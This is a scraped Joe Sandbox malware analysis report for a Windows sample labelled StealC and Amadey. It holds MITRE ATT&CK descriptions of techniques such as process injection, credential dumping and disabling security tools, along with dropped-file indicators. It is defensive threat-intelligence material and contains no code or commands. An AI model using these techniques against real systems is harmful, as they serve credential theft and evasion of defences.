Description:	Adversaries may abuse task scheduling functionality to facilitate initial or recurring execution of malicious code. Utilities exist within all major operating systems to schedule programs or scripts to be executed at a specified date and time. A task can also be scheduled on a remote system, provided the proper authentication is met (ex: RPC and file and printer sharing in Windows environments). Scheduling a task on a remote system typically may require being a member of an admin or otherwise privileged group on the remote system.
Tactics:	Execution, Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, Container: Container Creation, File: File Creation, File: File Modification, Process: Process Creation, Scheduled Job: Scheduled Job Creation
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject malicious code into process via Extra Window Memory (EWM) in order to evade process-based defenses as well as possibly elevate privileges. EWM injection is a method of executing arbitrary code in the address space of a separate live process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	Process: OS API Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify file time attributes to hide new or changes to existing files. Timestomping is a technique that modifies the timestamps of a file (the modify, access, create, and change times), often to mimic files that are in the same folder. This is done, for example, on files that have been modified or created by the adversary so that they do not appear conspicuous to forensic investigators or file analysis tools.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata, File: File Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of valid accounts, usernames, or email addresses on a system or within a compromised environment. This information can help adversaries determine which accounts exist, which can aid in follow-on behavior such as brute-forcing, spear-phishing attacks, or account takeovers (e.g., Valid Accounts ).
Tactics:	Discovery
Data Sources:	Command: Command Execution, File: File Access, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the Windows Registry to gather information about the system, configuration, and installed software.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report file.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: StealC

Threatname: Amadey

Yara Signatures

PCAP (Network Traffic)

Memory Dumps

Unpacked PEs

Sigma Signatures

System Summary

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Cryptography

Compliance

Spreading

Software Vulnerabilities

Networking

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\DAECGCGHCGHCAKECBKJKEHJDBF

C:\ProgramData\GDAEBKJDHDAFIECBAKKJ

C:\ProgramData\IEHDBAAFIDGDAAAAAAAA

C:\ProgramData\JKEHIIJJ

C:\ProgramData\KFBAECBA

C:\ProgramData\KJECFHCBKKEBAKFIJDHI

C:\ProgramData\KKFHJDAEHIEHJJKFBGDAKKKKEG

C:\ProgramData\freebl3.dll

C:\ProgramData\mozglue.dll

Windows Analysis Report
file.exe

Description:	Adversaries may attempt to identify the primary user, currently logged in user, set of users that commonly uses a system, or whether a user is actively using the system. They may do this, for example, by retrieving account usernames or by using OS Credential Dumping . The information may be collected in a number of different ways using other Discovery techniques, because user and username details are prevalent throughout a system and include running process ownership, file/directory ownership, session information, and system logs. Adversaries may use the information from [System Owner/User Discovery](https://attack.mitre.org/techniques/T1033) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may target user email to collect sensitive information. Emails may contain sensitive data, including trade secrets or personal information, that can prove valuable to adversaries. Adversaries can collect or forward email from mail servers or clients.
Tactics:	Collection
Data Sources:	Application Log: Application Log Content, Command: Command Execution, File: File Access, Logon Session: Logon Session Creation, Network Traffic: Network Connection Creation
Platforms:	Google Workspace, Linux, macOS, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may use legitimate desktop support and remote access software to establish an interactive command and control channel to target systems within networks. These services, such as `VNC`, `Team Viewer`, `AnyDesk`, `ScreenConnect`, `LogMein`, `AmmyyAdmin`, and other remote monitoring and management (RMM) tools, are commonly used as legitimate technical support software and may be allowed by application control within a target environment.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre